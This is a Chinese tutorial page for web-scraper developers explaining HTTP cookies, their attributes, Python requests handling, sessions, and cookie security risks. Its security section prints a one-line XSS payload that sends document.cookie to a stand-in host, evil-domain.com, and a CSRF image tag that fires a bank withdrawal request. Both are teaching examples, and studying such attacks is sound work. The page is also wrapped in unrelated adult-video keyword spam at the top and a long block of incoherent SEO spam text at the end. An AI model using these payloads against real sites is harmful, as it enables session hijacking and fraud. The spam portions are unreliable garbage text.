国产精品电影_久久视频免费_欧美日韩国产激情_成年人视频免费在线播放_日本久久亚洲电影_久久都是精品_66av99_九色精品美女在线_蜜臀a∨国产成人精品_冲田杏梨av在线_欧美精品在线一区二区三区_麻豆mv在线看

爬蟲工程師必須掌握的Cookie知識點都在這里

運維 系統(tǒng)運維
上一篇我們在講優(yōu)酷彈幕爬蟲的時候,引入了一個新的知識點:Cookie,由于篇幅有限當(dāng)時只是簡單的給大家介紹了一下它的作用,今天我們就來全面了解一下Cookie(小餅干)以及相關(guān)的知識!

上一篇我們在講優(yōu)酷彈幕爬蟲的時候,引入了一個新的知識點:Cookie,由于篇幅有限當(dāng)時只是簡單的給大家介紹了一下它的作用,今天我們就來全面了解一下Cookie(小餅干)以及相關(guān)的知識!

相信很多同學(xué)肯定聽過Cookie這個東西,也大概了解其作用,但是其原理以及如何設(shè)置,可能沒有做過web的同學(xué)并不是非常清楚,那今天豬哥就帶大家詳細了解下Cookie相關(guān)的知識!

一、誕生背景

爬蟲系列教程的第一篇:HTTP詳解中我們便說過HTTP的五大特點,而其中之一便是:無狀態(tài)。

HTTP無狀態(tài):服務(wù)器無法知道兩個請求是否來自同一個瀏覽器,即服務(wù)器不知道用戶上一次做了什么,每次請求都是完全相互獨立。

早期互聯(lián)網(wǎng)只是用于簡單的瀏覽文檔信息、查看黃頁、門戶網(wǎng)站等等,并沒有交互這個說法。但是隨著互聯(lián)網(wǎng)慢慢發(fā)展,寬帶、服務(wù)器等硬件設(shè)施已經(jīng)得到很大的提升,互聯(lián)網(wǎng)允許人們可以做更多的事情,所以交互式Web慢慢興起,而HTTP無狀態(tài)的特點卻嚴(yán)重阻礙其發(fā)展!

交互式Web:客戶端與服務(wù)器可以互動,如用戶登錄,購買商品,各種論壇等等。

不能記錄用戶上一次做了什么,怎么辦?聰明的程序員們就開始思考:怎么樣才能記錄用戶上一次的操作信息呢?于是有人就想到了隱藏域。

隱藏域?qū)懛ǎ?lt;input type="hidden" name="field_name" value="value"> 

這樣把用戶上一次操作記錄放在form表單的input中,這樣請求時將表單提交不就知道上一次用戶的操作,但是這樣每次都得創(chuàng)建隱藏域而且得賦值太麻煩,而且容易出錯!

ps:隱藏域作用強大,時至今日都有很多人在用它解決各種問題!

網(wǎng)景公司當(dāng)時一名員工Lou Montulli(盧-蒙特利),在1994年將“cookies”的概念應(yīng)用于網(wǎng)絡(luò)通信,用來解決用戶網(wǎng)上購物的購物車歷史記錄,而當(dāng)時最強大的瀏覽器正是網(wǎng)景瀏覽器,在網(wǎng)景瀏覽器的支持下其他瀏覽器也漸漸開始支持Cookie,到目前所有瀏覽器都支持Cookie了。

二、Cookie是什么

前面我們已經(jīng)知道了Cookie的誕生是為了解決HTTP無狀態(tài)的特性無法滿足交互式web,那它究竟是什么呢?

上圖是在Chrome瀏覽器中的百度首頁的Cookies(Cookie的復(fù)數(shù)形式),在表格中,每一行都代表著一個Cookie,所以我們來看看Cookie的定義吧!

Cookie是由服務(wù)器發(fā)給客戶端的特殊信息,而這些信息以文本文件的方式存放在客戶端,然后客戶端每次向服務(wù)器發(fā)送請求的時候都會帶上這些特殊的信息,用于服務(wù)器記錄客戶端的狀態(tài)。

Cookie主要用于以下三個方面:

  1.  會話狀態(tài)管理(如用戶登錄狀態(tài)、購物車、游戲分數(shù)或其它需要記錄的信息)
  2.  個性化設(shè)置(如用戶自定義設(shè)置、主題等)
  3.  瀏覽器行為跟蹤(如跟蹤分析用戶行為等)

三、Cookie原理

我們在了解了Cookie是由服務(wù)器發(fā)出存儲在瀏覽器的特殊信息,那具體是怎么樣的一個過程呢?為了大家便于理解,豬哥就以用戶登錄為例子為大家畫了一幅Cookie原理圖

用戶在輸入用戶名和密碼之后,瀏覽器將用戶名和密碼發(fā)送給服務(wù)器,服務(wù)器進行驗證,驗證通過之后將用戶信息加密后封裝成Cookie放在請求頭中返回給瀏覽器。 

  1. HTTP/1.1 200 OK  
  2. Content-type: text/html  
  3. Set-Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzgExpires=Tue, 15 Aug 2019 21:47:38 GMT; Path=/; Domain=.169it.com; HttpOnly  
  4. [響應(yīng)體] 

瀏覽器收到服務(wù)器返回數(shù)據(jù),發(fā)現(xiàn)請求頭中有一個:Set-Cookie,然后它就把這個Cookie保存起來,下次瀏覽器再請求服務(wù)器的時候,會把Cookie也放在請求頭中傳給服務(wù)器: 

  1. GET /sample_page.html HTTP/1.1  
  2. Host: www.example.org  
  3. Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg 

服務(wù)器收到請求后從請求頭中拿到cookie,然后解析并到用戶信息,說明此用戶已登錄,Cookie是將數(shù)據(jù)保存在客戶端的。

這里我們可以看到,用戶信息是保存在Cookie中,也就相當(dāng)于是保存在瀏覽器中,那就說用戶可以隨意修改用戶信息,這是一種不安全的策略!

強調(diào)一點:Cookie無論是服務(wù)器發(fā)給瀏覽器還是瀏覽器發(fā)給服務(wù)器,都是放在請求頭中的!

四、Cookie屬性

下圖中我們可以看到一個Cookie有:Name、Value、Domain、Path、Expires/Max-Age、Size、HTTP、Secure這些屬性,那這些屬性分別都有什么作用呢?我們來看看。

1. Name&Value

Name表示Cookie的名稱,服務(wù)器就是通過name屬性來獲取某個Cookie值。

Value表示Cookie 的值,大多數(shù)情況下服務(wù)器會把這個value當(dāng)作一個key去緩存中查詢保存的數(shù)據(jù)。

2.Domain&Path

Domain表示可以訪問此cookie的域名,下圖我們以百度貼吧頁的Cookie來講解一下Domain屬性。

從上圖中我們可以看出domain有:.baidu.com 頂級域名和.teiba.baidu.com的二級域名,所以這里就會有一個訪問規(guī)則:頂級域名只能設(shè)置或訪問頂級域名的Cookie,二級及以下的域名只能訪問或設(shè)置自身或者頂級域名的Cookie,所以如果要在多個二級域名中共享Cookie的話,只能將Domain屬性設(shè)置為頂級域名!

Path表示可以訪問此cookie的頁面路徑。比如path=/test,那么只有/test路徑下的頁面可以讀取此cookie。

3.Expires/Max-Age

Expires/Max-Age表示此cookie超時時間。若設(shè)置其值為一個時間,那么當(dāng)?shù)竭_此時間后,此cookie失效。不設(shè)置的話默認值是Session,意思是cookie會和session一起失效。當(dāng)瀏覽器關(guān)閉(不是瀏覽器標(biāo)簽頁,而是整個瀏覽器) 后,此cookie失效。

提示:當(dāng)Cookie的過期時間被設(shè)定時,設(shè)定的日期和時間只與客戶端相關(guān),而不是服務(wù)端。

4.Size

Size表示Cookie的name+value的字符數(shù),比如有一個Cookie:id=666,那么Size=2+3=5 。

另外每個瀏覽器對Cookie的支持都不相同。

5.HTTP

HTTP表示cookie的httponly屬性。若此屬性為true,則只有在http請求頭中會帶有此cookie的信息,而不能通過document.cookie來訪問此cookie。

設(shè)計該特征意在提供一個安全措施來幫助阻止通過Javascript發(fā)起的跨站腳本攻擊(XSS)竊取cookie的行為。

6.Secure

Secure表示是否只能通過https來傳遞此條cookie。不像其它選項,該選項只是一個標(biāo)記并且沒有其它的值。

這種cookie的內(nèi)容意指具有很高的價值并且可能潛在的被破解以純文本形式傳輸。

五、Python操作Cookie

1.生成Cookie

前面我們說過Cookie是由服務(wù)端生成的,那如何用Python代碼來生成呢?

從上圖登錄代碼中我們看到,在簡單的驗證用戶名和密碼之后,服務(wù)器跳轉(zhuǎn)到/user,然后set了一個cookie,瀏覽器收到響應(yīng)后發(fā)現(xiàn)請求頭中有一個:Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg,然后瀏覽器就會將這個Cookie保存起來!

2.獲取Cookie

最近我們一直在講requests模塊,這里我們就用requests模塊來獲取Cookie。

r.cookies表示獲取所有cookie,get_dict()函數(shù)表示返回的是字典格式cookie。

3.設(shè)置Cookie

上篇我們爬取優(yōu)酷彈幕的文章中便是用了requests模塊設(shè)置Cookie。

我們就瀏覽器復(fù)制過來的Cookie放在代碼中,這樣便可以順利的偽裝成瀏覽器,然后正常爬取數(shù)據(jù),復(fù)制Cookie是爬蟲中常用的一種手段!

六、Session

1.誕生背景

其實在Cookie設(shè)計之初,并不像豬哥講的那樣Cookie只保存一個key,而是直接保存用戶信息,剛開始大家認為這樣用起來很爽,但是由于cookie 是存在用戶端,而且它本身存儲的尺寸大小也有限,最關(guān)鍵是用戶可以是可見的,并可以隨意的修改,很不安全。那如何又要安全,又可以方便的全局讀取信息呢?于是,這個時候,一種新的存儲會話機制:Session 誕生了。

2.Session是什么

Session翻譯為會話,服務(wù)器為每個瀏覽器創(chuàng)建的一個會話對象,瀏覽器在第一次請求服務(wù)器,服務(wù)器便會為這個瀏覽器生成一個Session對象,保存在服務(wù)端,并且把Session的Id以cookie的形式發(fā)送給客戶端瀏覽,而以用戶顯式結(jié)束或session超時為結(jié)束。

我們來看看Session工作原理:

  1.  當(dāng)一個用戶向服務(wù)器發(fā)送第一個請求時,服務(wù)器為其建立一個session,并為此session創(chuàng)建一個標(biāo)識號(sessionID)。
  2.  這個用戶隨后的所有請求都應(yīng)包括這個標(biāo)識號(sessionID)。服務(wù)器會校對這個標(biāo)識號以判斷請求屬于哪個session。

對于session標(biāo)識號(sessionID),有兩種方式實現(xiàn):Cookie和URL重寫,豬哥就以Cookie的實現(xiàn)方式畫一個Session原理圖

聯(lián)系cookie原理圖我們可以看到,Cookie是將數(shù)據(jù)直接保存在客戶端,而Session是將數(shù)據(jù)保存在服務(wù)端,就安全性來講Session更好!

3.Python操作Session

后面豬哥將會以登錄的例子來講解如何用Python代碼操作Session

七、面試場景

1.Cookie和Session關(guān)系

  1.  都是為了實現(xiàn)客戶端與服務(wù)端交互而產(chǎn)出
  2.  Cookie是保存在客戶端,缺點易偽造、不安全
  3.  Session是保存在服務(wù)端,會消耗服務(wù)器資源
  4.  Session實現(xiàn)有兩種方式:Cookie和URL重寫

2.Cookie帶來的安全性問題

會話劫持和XSS:在Web應(yīng)用中,Cookie常用來標(biāo)記用戶或授權(quán)會話。因此,如果Web應(yīng)用的Cookie被竊取,可能導(dǎo)致授權(quán)用戶的會話受到攻擊。常用的竊取Cookie的方法有利用社會工程學(xué)攻擊和利用應(yīng)用程序漏洞進行XSS攻擊。(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;HttpOnly類型的Cookie由于阻止了JavaScript對其的訪問性而能在一定程度上緩解此類攻擊。

跨站請求偽造(CSRF):維基百科已經(jīng)給了一個比較好的CSRF例子。比如在不安全聊天室或論壇上的一張圖片,它實際上是一個給你銀行服務(wù)器發(fā)送提現(xiàn)的請求:<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">當(dāng)你打開含有了這張圖片的HTML頁面時,如果你之前已經(jīng)登錄了你的銀行帳號并且Cookie仍然有效(還沒有其它驗證步驟),你銀行里的錢很可能會被自動轉(zhuǎn)走。解決CSRF的辦法有:隱藏域驗證碼、確認機制、較短的Cookie生命周期等

八、總結(jié)

今天為大家講解了Cookie的相關(guān)知識,以及如何使用requests模塊操作Cookie,最后順便提了一下Cookie與Session的關(guān)系以及Cookie存在哪些安全問題。希望大家能對Cookie(小餅干)能有個全面的了解,這樣對你在今后的爬蟲學(xué)習(xí)中會大有裨益! 

責(zé)任編輯:龐桂玉 來源: 馬哥Linux運維
相關(guān)推薦

2025-05-16 09:34:10

2022-09-22 08:00:00

API開發(fā)數(shù)據(jù)

2021-02-23 09:28:48

大數(shù)據(jù)數(shù)據(jù)分析

2018-04-26 16:15:02

數(shù)據(jù)庫MySQLMySQL 8.0

2018-03-19 14:43:28

2017-10-24 14:57:58

AI人工智能機器學(xué)習(xí)

2021-07-01 09:00:00

安全數(shù)字化轉(zhuǎn)型滲透

2024-07-02 11:16:21

2019-12-25 14:00:26

數(shù)據(jù)科學(xué)人工智能科學(xué)家

2023-09-11 08:51:23

LinkedList雙向鏈表線程

2021-10-06 16:21:32

類型對象Typescript

2023-12-11 21:59:01

時序分析深度學(xué)習(xí)自回歸模型

2021-06-17 13:40:47

區(qū)塊鏈比特幣公有鏈

2021-12-09 08:16:40

JVM參數(shù)系統(tǒng)

2019-11-04 09:07:48

DevOps互聯(lián)網(wǎng)IT

2009-06-24 14:10:22

2022-03-02 10:36:37

Linux性能優(yōu)化

2017-08-28 16:40:07

Region切分觸發(fā)策略

2019-04-24 08:31:43

分布式限流kafka

2017-12-08 10:42:49

HBase切分細節(jié)
點贊
收藏

51CTO技術(shù)棧公眾號

日韩资源av在线| 欧美激情视频播放| 性欧美videosex高清少妇| 先锋成人av| 国产精品久久久久久久久图文区| 国产精品入口免费| 久久在线视频| 国产成人aa精品一区在线播放| 欧美成人精品三级网站| 日韩亚洲欧美综合| jizz在线免费观看| 色综合天天综合狠狠| 色老板在线视频| 一区二区三区蜜桃网| 精品国模在线视频| 91精选在线| 日韩欧美高清dvd碟片| 麻豆tv在线| 亚洲精品99久久久久| 亚洲优女在线| 亚洲欧美综合v| 青青久久精品| 欧美综合在线观看| 最近最新mv在线观看免费高清| 亚洲精品中文字幕乱码三区 | 国外成人福利视频| zzjj国产精品一区二区| 国产精东传媒成人av电影| 久久久久久尹人网香蕉| 国产伦乱精品| 国产日韩精品在线播放| 99精品国产福利在线观看免费| 日韩福利视频| 国产一区二区在线免费观看| 北条麻妃69av| 色哟哟国产精品| 1024国产在线| 日韩在线观看免费全集电视剧网站| 盗摄牛牛av影视一区二区| 国产91精品不卡视频| 99久久九九| 97av中文字幕| 性做久久久久久久久| 日本h片在线| 伦理中文字幕亚洲| 中文字幕在线永久在线视频| 最近2019免费中文字幕视频三| aaa日本高清在线播放免费观看| 久久不射2019中文字幕| 国产婷婷色综合av蜜臀av| 国产一区视频网站| 伊人春色在线| 亚洲人成五月天| 日本道不卡免费一区| 天堂资源在线亚洲视频| 夜夜亚洲天天久久| 97精品国产综合久久久动漫日韩 | 91精品国产综合久久香蕉922| 亚洲激情婷婷| 国产一区亚洲二区三区| 色噜噜狠狠成人中文综合| 国产亚洲字幕| 91麻豆天美传媒在线| 欧美日韩日日骚| 国产精品久久久久久麻豆一区软件 | 国产精品国产三级国产aⅴ无密码 国产精品国产三级国产aⅴ原创 | 天堂8在线天堂资源bt| 欧美日韩三级视频| av在线不卡观看| 亚洲一区视频在线观看视频| 欧美大片91| 欧美日韩国产精品激情在线播放| 激情亚洲网站| 久久久久久久久爱| www.亚洲.com| 一区二区三区小说| 99中文字幕在线观看| 久久午夜免费电影| 在线观看精品| 国产精品亚洲a| 91精品国产99| 亚洲免费电影在线| 日韩理论在线| 一级毛片高清视频| 国产精品久久不能| 在线视频综合导航| 日本亚洲天堂网| 这里有精品可以观看| 国产 国语对白 露脸 | 麻豆一区二区三区视频| 欧美国产日韩视频| 亚洲高清免费观看 | 亚洲图片欧美激情| 天天综合一区| 超碰一区二区| 国产69精品久久久久久久| 欧美激情网友自拍| 一区二区三区四区视频精品免费| 久久久久久免费视频| 黄色在线观看网站| av免费中文字幕| 成人黄色生活片| 欧美久久久久免费| 久久婷婷色综合| 精品国产一区二区三区噜噜噜| 免费观看羞羞视频网站| 亚洲三级一区| 国产免费久久av| 日韩精品丝袜美腿| 亚洲第一图区| 天海翼女教师无删减版电影| 中文字幕av久久| 国产精品三级在线| 久久激情视频久久| 亚洲一二三四区| 成人国产一区二区三区精品| 一区二区三区午夜视频| xxxxx.日韩| 岛国毛片av在线| 91精品国产自产在线老师啪| 国产成人精品三级| 日韩一区二区精品在线观看| 日本不良网站在线观看| 精品国产欧美成人夜夜嗨| 999成人精品视频线3| 亚洲精品视频在线免费| 国产精品色视频| 国产精品高清亚洲| 国产精品无码专区av在线播放| 欧美亚洲国产一区在线观看网站| 久久色在线观看| 国产高清亚洲一区| 电影天堂最新网址| 欧美在线视频一区二区三区| 国产精品pans私拍| 免费99精品国产自在在线| 91精品视频网| 亚洲一区二区四区蜜桃| 国产在线视频一区二区三区| 在线观看不卡| 国产精品久久| 97在线资源站| 欧美疯狂xxxx大交乱88av| 日韩av综合网| 亚洲人成网站999久久久综合| 色婷婷亚洲一区二区三区| 高清国产一区二区| 日韩电影av| 日韩精品资源| 国产91网红主播在线观看| 亚亚洲欧洲精品| 激情小视频在线观看| 亚洲综合中文| 国产精品69毛片高清亚洲| 国产精品入口麻豆原神| 日韩欧美有码在线| 在线看欧美视频| 午夜伦理大片视频在线观看| 直接在线观看的三级网址| 污视频免费在线观看| 成人一区不卡| 偷拍自拍亚洲| 黄页在线观看免费| 国产电影一区二区| 久久精品道一区二区三区| 韩日成人在线| 久久久久久久久久久黄色| 亚洲欧美激情视频在线观看一区二区三区 | 韩国精品视频在线观看 | 国产美女视频一区| 中文字幕免费不卡| 亚洲六月丁香色婷婷综合久久| 亚洲国产综合视频在线观看| 欧美日韩大陆在线| 久久国产精品影视| 51精品国产人成在线观看| 日韩成人手机在线| 国产夫妻视频| 依依综合在线| 色综合咪咪久久网| 久久久夜色精品亚洲| 亚洲一区免费在线观看| 亚洲二区在线播放视频| 欧美激情按摩在线| 久久国产一区二区| avove在线观看| 国产h色视频在线观看| 午夜激情视频在线| 日韩.com| 91啪九色porn原创视频在线观看| 欧美一区二区三区免费大片| 北条麻妃在线一区二区| 一区二区三区四区五区视频| 最新在线观看av网站| 哺乳挤奶一区二区三区免费看| 蜜桃视频一区二区三区 | 国产精品久久久久久久久免费| 欧美二区三区| aⅴ在线视频男人的天堂| 你懂的在线观看一区二区|